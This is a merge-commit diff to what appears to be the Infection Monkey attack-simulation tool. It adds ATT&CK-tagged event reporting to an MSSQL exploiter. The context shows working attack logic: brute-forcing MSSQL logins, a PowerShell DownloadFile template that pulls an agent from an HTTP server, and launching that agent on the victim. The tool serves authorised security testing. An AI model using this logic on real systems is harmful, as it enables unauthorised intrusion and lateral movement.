Merge branch '2269-publish-events-for-mssql-exploiter' into develop

PR #2401

monkey/infection_monkey/exploit/mssqlexec.py

@@ -1,12 +1,18 @@
 import logging
 from pathlib import PureWindowsPath
-from time import sleep
+from time import sleep, time
-from typing import Sequence, Tuple
+from typing import Iterable, Optional, Tuple
 
 import pymssql
 
 from common.common_consts.timeouts import LONG_REQUEST_TIMEOUT
 from common.credentials import get_plaintext
+from common.tags import (
+    T1059_ATTACK_TECHNIQUE_TAG,
+    T1105_ATTACK_TECHNIQUE_TAG,
+    T1110_ATTACK_TECHNIQUE_TAG,
+    T1210_ATTACK_TECHNIQUE_TAG,
+)
 from common.utils.exceptions import FailedExploitationError
 from infection_monkey.exploit.HostExploiter import HostExploiter
 from infection_monkey.exploit.tools.helpers import get_agent_dst_path
@@ -20,6 +26,8 @@ from infection_monkey.utils.threading import interruptible_iter
 
 logger = logging.getLogger(__name__)
 
+MSSQL_EXPLOITER_TAG = "mssql-exploiter"
+
 
 class MSSQLExploiter(HostExploiter):
     _EXPLOITED_SERVICE = "MSSQL"
@@ -36,13 +44,20 @@ class MSSQLExploiter(HostExploiter):
         "DownloadFile(^''{http_path}^'' , ^''{dst_path}^'')"
     )
 
+    _EXPLOITER_TAGS = (MSSQL_EXPLOITER_TAG, T1110_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)
+    _PROPAGATION_TAGS = (
+        MSSQL_EXPLOITER_TAG,
+        T1059_ATTACK_TECHNIQUE_TAG,
+        T1105_ATTACK_TECHNIQUE_TAG,
+    )
+
     def __init__(self):
         super().__init__()
         self.cursor = None
         self.agent_http_path = None
 
     def _exploit_host(self) -> ExploiterResultData:
-        agent_path_on_victim = get_agent_dst_path(self.host)
+        agent_path_on_victim = PureWindowsPath(get_agent_dst_path(self.host))
 
         # Brute force to get connection
         creds = generate_identity_secret_pairs(
@@ -52,16 +67,18 @@ class MSSQLExploiter(HostExploiter):
         try:
             self.cursor = self._brute_force(self.host.ip_addr, self.SQL_DEFAULT_TCP_PORT, creds)
         except FailedExploitationError:
-            logger.info(
+            error_message = (
                 f"Failed brute-forcing of MSSQL server on {self.host},"
                 f" no credentials were successful"
             )
+            logger.error(error_message)
             return self.exploit_result
 
         if self._is_interrupted():
             self._set_interrupted()
             return self.exploit_result
 
+        timestamp = time()
         try:
             self._upload_agent(agent_path_on_victim)
             self._run_agent(agent_path_on_victim)
@@ -72,15 +89,17 @@ class MSSQLExploiter(HostExploiter):
             )
 
             logger.error(error_message)
+            self._publish_propagation_event(timestamp, False, error_message=error_message)
             self.exploit_result.error_message = error_message
 
             return self.exploit_result
 
+        self._publish_propagation_event(timestamp, True)
         self.exploit_result.propagation_success = True
         return self.exploit_result
 
     def _brute_force(
-        self, host: str, port: str, users_passwords_pairs_list: Sequence[Tuple[str, str]]
+        self, host: str, port: str, users_passwords_pairs_list: Iterable[Tuple[str, str]]
     ) -> pymssql.Cursor:
         """
         Starts the brute force connection attempts and if needed then init the payload process.
@@ -106,6 +125,7 @@ class MSSQLExploiter(HostExploiter):
         )
 
         for user, password in credentials_iterator:
+            timestamp = time()
             try:
                 # Core steps
                 # Trying to connect
@@ -122,14 +142,14 @@ class MSSQLExploiter(HostExploiter):
                 )
                 self.exploit_result.exploitation_success = True
                 self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
-                self.report_login_attempt(True, user, password)
+                self._report_login_attempt(timestamp, True, user, password)
                 cursor = conn.cursor()
+
                 return cursor
             except pymssql.OperationalError as err:
-                logger.info(f"Connection to MSSQL failed: {err}")
+                error_message = f"Connection to MSSQL failed: {err}"
-                self.report_login_attempt(False, user, password)
+                logger.info(error_message)
-                # Combo didn't work, hopping to the next one
+                self._report_login_attempt(timestamp, False, user, password, error_message)
-                pass
 
         logger.warning(
             "No user/password combo was able to connect to host: {0}:{1}, "
@@ -139,14 +159,23 @@ class MSSQLExploiter(HostExploiter):
             "Bruteforce process failed on host: {0}".format(self.host.ip_addr)
         )
 
+    def _report_login_attempt(
+        self, timestamp: float, success: bool, user, password: str, message: str = ""
+    ):
+        self._publish_exploitation_event(timestamp, success, error_message=message)
+        self.report_login_attempt(success, user, password)
+
     def _upload_agent(self, agent_path_on_victim: PureWindowsPath):
         http_thread = self._start_agent_server(agent_path_on_victim)
 
         self._run_agent_download_command(agent_path_on_victim)
 
+        if http_thread:
             MSSQLExploiter._stop_agent_server(http_thread)
 
-    def _start_agent_server(self, agent_path_on_victim: PureWindowsPath) -> LockedHTTPServer:
+    def _start_agent_server(
+        self, agent_path_on_victim: PureWindowsPath
+    ) -> Optional[LockedHTTPServer]:
         self.agent_http_path, http_thread = HTTPTools.create_locked_transfer(
             self.host, str(agent_path_on_victim), self.agent_binary_repository
         )
@@ -179,7 +208,7 @@ class MSSQLExploiter(HostExploiter):
 
     def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str:
         agent_args = build_monkey_commandline(
-            self.servers, self.current_depth + 1, agent_path_on_victim
+            self.servers, self.current_depth + 1, str(agent_path_on_victim)
         )
 
         return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}"

monkey/infection_monkey/exploit/tools/http_tools.py

@@ -3,6 +3,7 @@ import urllib.error
 import urllib.parse
 import urllib.request
 from threading import Lock
+from typing import Optional, Tuple
 
 from infection_monkey.network.firewall import app as firewall
 from infection_monkey.network.info import get_free_tcp_port
@@ -28,7 +29,7 @@ class HTTPTools(object):
     @staticmethod
     def create_locked_transfer(
         host, dropper_target_path, agent_binary_repository, local_ip=None, local_port=None
-    ) -> LockedHTTPServer:
+    ) -> Tuple[Optional[str], Optional[LockedHTTPServer]]:
         """
         Create http server for file transfer with a lock
         :param host: Variable with target's information